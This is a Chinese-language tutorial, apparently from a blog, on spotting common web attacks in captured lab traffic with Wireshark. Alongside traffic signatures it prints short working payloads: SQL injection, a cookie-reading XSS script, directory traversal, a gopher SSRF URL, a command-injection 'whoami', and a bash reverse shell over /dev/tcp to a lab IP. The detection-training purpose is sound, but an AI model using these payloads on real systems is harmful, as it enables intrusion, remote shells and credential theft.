基础漏洞流量分析
sql注入
sql注入原理
SQL 注入的攻击行为可以描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:
- 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句。
- 未对用户可控参数进行足够的过滤,便将参数内容拼接到 SQL 语句中
sql注入危害
攻击者可以利用 SOL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容 (脱库)。
在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。
如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用 SOL 注入漏洞直接获取 WebshelL 或者服务器权限。
流量特征
可以在流量中看到明显的sql注入查询语句,诸如union select sleep() database等,也有url编码
演示过程
此处以dvwa low为例
使用poc
1' union select 1,database() #
提交过后查看wireshark抓取的数据
找到http的并且目标ip为靶场IP的流量
会发现明显的sql注入查询语句
xss
xss原理
XSS攻击利用了Web应用程序对用户输入数据的信任以及过滤不足,攻击者通过在网页中插入恶意脚本,使得用户浏览器执行恶意代码(JS),从而达到攻击的目的。
xss危害
XSS漏洞可能导致用户隐私泄露、账号被劫持、网站内容被篡改、恶意脚本的传播等危害。
流量特征
流量中可能出现xss相关的关键字,例如<script>
标签,亦或是为了绕过防御而出现的双写大小写,或者javascript伪协议,以及html响应事件的关键字
演示过程
此处以dvwa low为例
poc
<script>alert(document.cookie)</script>
流量中存在明显的script标签以及获取cookie的语句
文件上传
文件上传成因
服务器配置不当,开启了PUT 方法。
Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。
在程序开发部署时,没有考虑以下因素,导致限制被绕过:
- 代码特性;
- 组件漏洞;
- Web 容器漏洞;
- 系统特性;
- …
文件上传危害
上传恶意代码(文件,程序),并执行恶意代码(文件,程序):
- 直接上传后门文件并执行,导致网站沦陷;
- 通过恶意文件,利用其他漏洞拿到管理员权限(提权),导致服务器沦陷。
流量特征
该流量中包含文件名和后缀,以及类型,如果不能直接判断,还可以直接看上传文件的内容
演示过程
以dvwa low为例
从info段没有什么明显特征,只能看出提交了个post请求,但是具体查看可以看到该流量中包含文件名和后缀,以及类型,如果不能直接判断,还可以直接看上传文件的内容
文件包含
原理
如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞,如果无条件解析代码,也为图片马提供了出路
危害
文件包含漏洞可能导致攻击者执行任意代码、获取敏感信息、篡改页面内容等恶意行为。
流量特征
文件包含的流量特征是请求包中有非服务器允许访问的文件路径,或者文件路径中出现 data://
、ftp://
等协议或者目录穿越的关键字 ../../
等
演示过程
dvwa low为例
poc
http://10.9.47.181/dvwa_2.0.1/vulnerabilities/fi/?page=../../../phpinfo.php
通过靶场直接读到了目录下的phpinfo
可以看到流量中出现参数名后接…/…/这种的目录穿越的格式
文件读取
任意文件读取漏洞由于对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件
与文件包含的区别是文件读取无法解析执行文件,只能读取文件的内容
跟文件包含的流量特征类似,请求访问的文件地址中出现 C://
、../../
等关键字或者其他非服务器允许访问的文件路径
ssrf
介绍
服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。
如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。
SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。
原理
服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。
对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。
没对响应的结果进行检验,直接输出。
危害
- 端口扫描;
- 内网Web 应用指纹识别;
- 攻击内网应用;
- 读取本地文件;
流量特征
动态参数后可能存在协议,抑或是ip和端口号,因为可能对其进行探测或者资源获取,协议可能出现的关键字例如gopher,dict,file
演示过程
演示环境
<?php
// ssrf_curl.phpif(isset($_REQUEST['url'])){$link = $_REQUEST['url'];$fileName = './curled/'.time().".txt";$curlObj = curl_init($link);$fp = fopen($fileName,'w');curl_setopt($curlObj,CURLOPT_FILE,$fp);curl_setopt($curlObj,CURLOPT_HEADER,0);curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);curl_exec($curlObj);curl_close($curlObj);fclose($fp);if(getimagesize($fileName)){header("Content-Type:image/png");}$fp = fopen($fileName,'r');$result = fread($fp,filesize($fileName));fclose($fp);echo $result;
}else{echo "?url=[url]";
}
?>
poc
http://10.9.47.181/ssrf/ssrf_curl.php?url=gopher://127.0.0.1:3306
可以读取到返回信息
流量中存在协议,ip,以及端口号
shiro反序列化
漏洞原理
在 Apache shiro 的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在 cookie 字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到 RememberMe Cookie 字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的 cookie 值进行身份验证,无需登录即可访问。那么显然,服务端进行对 cookie 进行验证的步骤就是:取出请求包中 rememberMe 的cookie值 => Base64解码=>AES解密(用到密钥 key )=>反序列化。
靶场搭建
换源
vim /etc/apt/sources.list
中科大Kali镜像源deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
更新可用软件包列表
apt-get update
安装docker
apt-get install docker-compose
init 6
然后重启一下
启动docker
service docker start
拉取靶场镜像
docker pull medicean/vulapps:s_shiro_1
启动靶场映射到80
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
演示过程
访问kali IP
登录
当登陆页面有 remember me ,记住密码类似的字样需要考虑 shiro 反序列化漏洞
shiro 550 用户名密码随便填写,勾选 Remember Me,点击登录,抓包
使用shiro工具
java -jar shiro_attack-4.5.3-SNAPSHOT-all.jar
按照从上到下的顺序点击
然后就可以利用功能了
ip.dst==10.4.7.137
过滤过后找到http
发现流量特征,包内cookie后有利用链加密,很长
base64 解码>解密>反序列化后为利用链的 exp
流量特征
将 exp 经序列化 => 对称加密 => base64 编码存储到 Cookie 中,比正常的 Cookie 值要长的多
jwt
详情见我的另一篇文章
https://blog.csdn.net/qq_58683895/article/details/134884411
抓取流量过后,会发现Authorization字段有类似jwt的数据,将其以点分隔使用base64解码,即可看出具体的信息,可以看看解码后加密部分是否为none,亦或是exp部分和user和信息是否匹配,以此判断jwt是否被攻击者更改利用
暴力破解
以dvwa low 为例
可以看到流量中出现username=?或者password=?的字样,并且流量包非常多
命令执行
dvwa low为例
poc
ping 127.0.0.1|whoami
出现命令执行相关的关键字
反弹shell
模拟环境
bash -c 'bash -i >& /dev/tcp/10.4.7.138/12138 0>&1'
会出现大量的tcp流量,内容中还会出现命令字
也可以追踪流来查看,大体能直接看出操作的流程